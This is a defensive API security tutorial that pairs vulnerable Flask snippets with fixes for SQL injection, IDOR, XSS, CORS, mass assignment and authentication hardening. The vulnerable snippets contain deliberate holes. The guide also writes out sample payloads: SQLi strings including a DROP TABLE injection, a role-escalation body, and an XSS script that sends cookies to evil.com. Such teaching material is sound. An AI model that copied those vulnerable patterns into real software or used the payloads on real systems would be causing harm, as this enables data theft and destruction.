Your API is your attack surface. Every endpoint you expose is a door that attackers will try to open. In 2025, API attacks increased by 681% (Salt Security report). This guide shows you exactly how hackers attack APIs and how to defend against each attack - with real exploit examples and defense code.
The Top API Attack Vectors
1. SQL Injection - The Classic Database Attack
How the attacker thinks: "If I put SQL code in this input field, will the server execute it?"
# ❌ VULNERABLE: String concatenation in SQL
@app.route("/api/users")
def get_users():
search = request.args.get("search", "")
# Attacker sends: search=' OR '1'='1
query = f"SELECT * FROM users WHERE name = '{search}'"
# Becomes: SELECT * FROM users WHERE name = '' OR '1'='1'
# Returns ALL users! The attacker now has your entire user database.
results = db.execute(query)
return jsonify(results)
# Even worse - the attacker can MODIFY data:
# search='; DROP TABLE users; --
# Becomes: SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
# Your users table is gone.
# ✅ DEFENSE: Parameterized queries (ALWAYS)
@app.route("/api/users")
def get_users():
search = request.args.get("search", "")
# Parameters are NEVER executed as SQL - they're treated as data
query = "SELECT * FROM users WHERE name = ?"
results = db.execute(query, (search,))
return jsonify(results)
# With an ORM (even safer - no raw SQL at all):
users = User.query.filter(User.name.ilike(f"%{search}%")).all()
# Defense checklist:
# 1. NEVER use f-strings or .format() in SQL queries
# 2. ALWAYS use parameterized queries or ORM methods
# 3. Use least-privilege database users (read-only for read endpoints)
# 4. Enable WAF (Web Application Firewall) to block common SQLi patterns
2. Broken Object-Level Authorization (BOLA/IDOR)
How the attacker thinks: "If I change the user ID in the URL from my ID to someone else's, will the API let me see their data?"
# ❌ VULNERABLE: No ownership check
@app.route("/api/orders/<order_id>")
@login_required
def get_order(order_id):
# Attacker is user 5, but requests /api/orders/999 (user 3's order)
order = Order.query.get(order_id)
return jsonify(order.to_dict())
# Returns user 3's order! No check if the requester owns it.
# ✅ DEFENSE: Always verify ownership
@app.route("/api/orders/<order_id>")
@login_required
def get_order(order_id):
order = Order.query.get(order_id)
if not order:
return jsonify({"error": "Not found"}), 404
# CRITICAL: Check ownership
if order.user_id != current_user.id:
return jsonify({"error": "Forbidden"}), 403
return jsonify(order.to_dict())
# Better: Always filter by user at the query level
@app.route("/api/orders/<order_id>")
@login_required
def get_order(order_id):
order = Order.query.filter_by(
id=order_id,
user_id=current_user.id # Can ONLY see own orders
).first_or_404()
return jsonify(order.to_dict())
3. Cross-Site Scripting (XSS)
How the attacker thinks: "If I submit JavaScript as my username, will it execute when other users view my profile?"
# ❌ VULNERABLE: Unescaped output
# Attacker sets their name to: <script>fetch('https://evil.com/?cookie='+document.cookie)</script>
# When any user views the attacker's profile, their cookies are stolen!
# ✅ DEFENSE: Multiple layers
# Layer 1: Escape all output (frameworks do this by default)
# Angular: Safe by default - [innerHTML] is sanitized
# React: Safe by default - JSX escapes values
# Django: {{ value }} auto-escapes HTML
# NEVER use: [innerHTML]="untrustedData" or dangerouslySetInnerHTML
# Layer 2: Content-Security-Policy header
# Prevents inline scripts from executing even if injected
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
# Layer 3: HttpOnly cookies (can't be read by JavaScript)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
# Layer 4: Input validation
def sanitize_input(text):
"""Strip HTML tags from user input."""
import bleach
return bleach.clean(text, tags=[], strip=True)
4. Rate Limiting - Stop Brute Force & DDoS
How the attacker thinks: "If there's no rate limit, I can try 10,000 passwords per second on the login endpoint."
# Python: Rate limiting with Flask-Limiter
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(
app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"],
storage_uri="redis://localhost:6379", # Use Redis for distributed rate limiting
)
# Strict limit on login
@app.route("/api/auth/login", methods=["POST"])
@limiter.limit("5 per 15 minutes")
def login():
# After 5 failed attempts, return 429 Too Many Requests
pass
# Different limits per endpoint
@app.route("/api/search")
@limiter.limit("30 per minute")
def search():
pass
# nginx rate limiting (infrastructure level):
# limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
# location /api/ {
# limit_req zone=api burst=20 nodelay;
# limit_req_status 429;
# }
# Return proper headers so clients know the limits:
# X-RateLimit-Limit: 100
# X-RateLimit-Remaining: 43
# X-RateLimit-Reset: 1712345678
# Retry-After: 30
5. CORS Misconfiguration
How the attacker thinks: "If the API allows any origin, I can make requests from my malicious website using the victim's cookies."
# ❌ VULNERABLE: Allow all origins
from flask_cors import CORS
CORS(app, origins="*", supports_credentials=True)
# ANY website can now make authenticated requests to your API!
# Attacker creates evil.com with JavaScript that calls your API
# using the victim's cookies. The API happily responds.
# ✅ DEFENSE: Whitelist specific origins
CORS(app, origins=[
"https://app.example.com",
"https://admin.example.com",
], supports_credentials=True)
# nginx CORS headers (manual control):
# add_header Access-Control-Allow-Origin "https://app.example.com" always;
# add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
# add_header Access-Control-Allow-Headers "Authorization, Content-Type" always;
# add_header Access-Control-Allow-Credentials "true" always;
# CORS rules:
# 1. NEVER use origins="*" with credentials=True
# 2. Whitelist only YOUR frontend domains
# 3. Don't reflect the Origin header back (common misconfiguration)
# 4. Restrict allowed methods (don't allow DELETE if not needed)
6. Mass Assignment / Over-Posting
How the attacker thinks: "What if I add extra fields to the request body that I'm not supposed to set?"
# ❌ VULNERABLE: Accept all fields from request
@app.route("/api/users/me", methods=["PATCH"])
@login_required
def update_profile():
data = request.json
# Attacker sends: {"name": "Hacker", "role": "admin", "is_verified": true}
for key, value in data.items():
setattr(current_user, key, value) # Sets EVERYTHING including role!
db.session.commit()
return jsonify(current_user.to_dict())
# ✅ DEFENSE: Explicit allowlist of updatable fields
ALLOWED_FIELDS = {"name", "email", "avatar_url", "bio"}
@app.route("/api/users/me", methods=["PATCH"])
@login_required
def update_profile():
data = request.json
for key, value in data.items():
if key in ALLOWED_FIELDS: # Only allow safe fields
setattr(current_user, key, value)
# "role", "is_admin", "is_verified" are silently ignored
db.session.commit()
return jsonify(current_user.to_dict())
# Even better: Use Pydantic/Marshmallow schemas
from pydantic import BaseModel
class UpdateProfileRequest(BaseModel):
name: str | None = None
email: str | None = None
bio: str | None = None
# role, is_admin NOT in schema = impossible to set
7. Security Headers - The Free Defense Layer
# Every API response should include these headers:
# nginx configuration:
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "0" always; # Disabled - use CSP instead
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'" always;
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
# Python (Flask middleware):
@app.after_request
def add_security_headers(response):
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['Strict-Transport-Security'] = 'max-age=63072000'
response.headers['Content-Security-Policy'] = "default-src 'self'"
return response
8. API Authentication Hardening
# JWT Best Practices:
# 1. Short-lived access tokens (15 min)
# 2. Refresh tokens stored in HttpOnly cookies (not localStorage!)
# 3. Token rotation - new refresh token on each use
# 4. Revocation - maintain a blocklist for compromised tokens
# ❌ BAD: Long-lived token in localStorage
localStorage.setItem('token', jwt)
// XSS can steal this token!
# ✅ GOOD: HttpOnly cookie (JavaScript can't access it)
Set-Cookie: access_token=eyJ...; HttpOnly; Secure; SameSite=Strict; Path=/api; Max-Age=900
# Password rules:
# - Minimum 12 characters
# - Check against breached password databases (HaveIBeenPwned API)
# - bcrypt or Argon2 for hashing (NEVER SHA-256)
# - Account lockout after 5 failed attempts (with exponential backoff)
9. WAF (Web Application Firewall)
A WAF sits between the internet and your API, blocking common attacks before they reach your code:
# AWS WAF rules example:
# 1. Block SQL injection patterns (AWS managed rule)
# 2. Block known bad IPs (AWS IP reputation list)
# 3. Block requests with no User-Agent
# 4. Rate limit: 2000 requests/5min per IP
# 5. Geo-block countries you don't serve
# 6. Block requests larger than 8KB to login endpoints
# Cloudflare WAF (simpler setup):
# - Enable "OWASP Core Rule Set" (blocks top 10 attacks)
# - Enable "Bot Fight Mode"
# - Set rate limiting rules per endpoint
# - Enable "Under Attack Mode" during DDoS
Complete API Security Checklist
| Category | Defense | Priority |
|---|---|---|
| Authentication | Short-lived JWTs, HttpOnly cookies, MFA, bcrypt/Argon2 | Critical |
| Authorization | Check ownership on every endpoint, RBAC, no BOLA/IDOR | Critical |
| Input Validation | Parameterized SQL, Pydantic schemas, sanitize all input | Critical |
| Rate Limiting | Per-user and per-IP limits, stricter on auth endpoints | High |
| CORS | Whitelist origins, no wildcard with credentials | High |
| Security Headers | HSTS, CSP, X-Content-Type-Options, X-Frame-Options | High |
| TLS | HTTPS everywhere, TLS 1.2+ minimum, HSTS preload | Critical |
| WAF | AWS WAF, Cloudflare, or ModSecurity with OWASP rules | High |
| Logging | Log all auth events, failed requests, unusual patterns | Medium |
| Dependency Scanning | Snyk/Dependabot in CI, patch critical CVEs within 24h | Medium |
API security is not a feature you add at the end - it's a practice you embed from day one. The attacks in this guide are not theoretical - they happen every day to real APIs. Start with the critical items: parameterized queries, ownership checks, rate limiting, and proper authentication. Then layer on WAF, security headers, and monitoring. Every defense you add makes the attacker's job exponentially harder.
Practice Gateway Enforcement
The authorization policy and trusted headers lesson turns these controls into a platform access design. Follow it with the production security and scaling exercise to review failure behavior, auditability, and operational boundaries.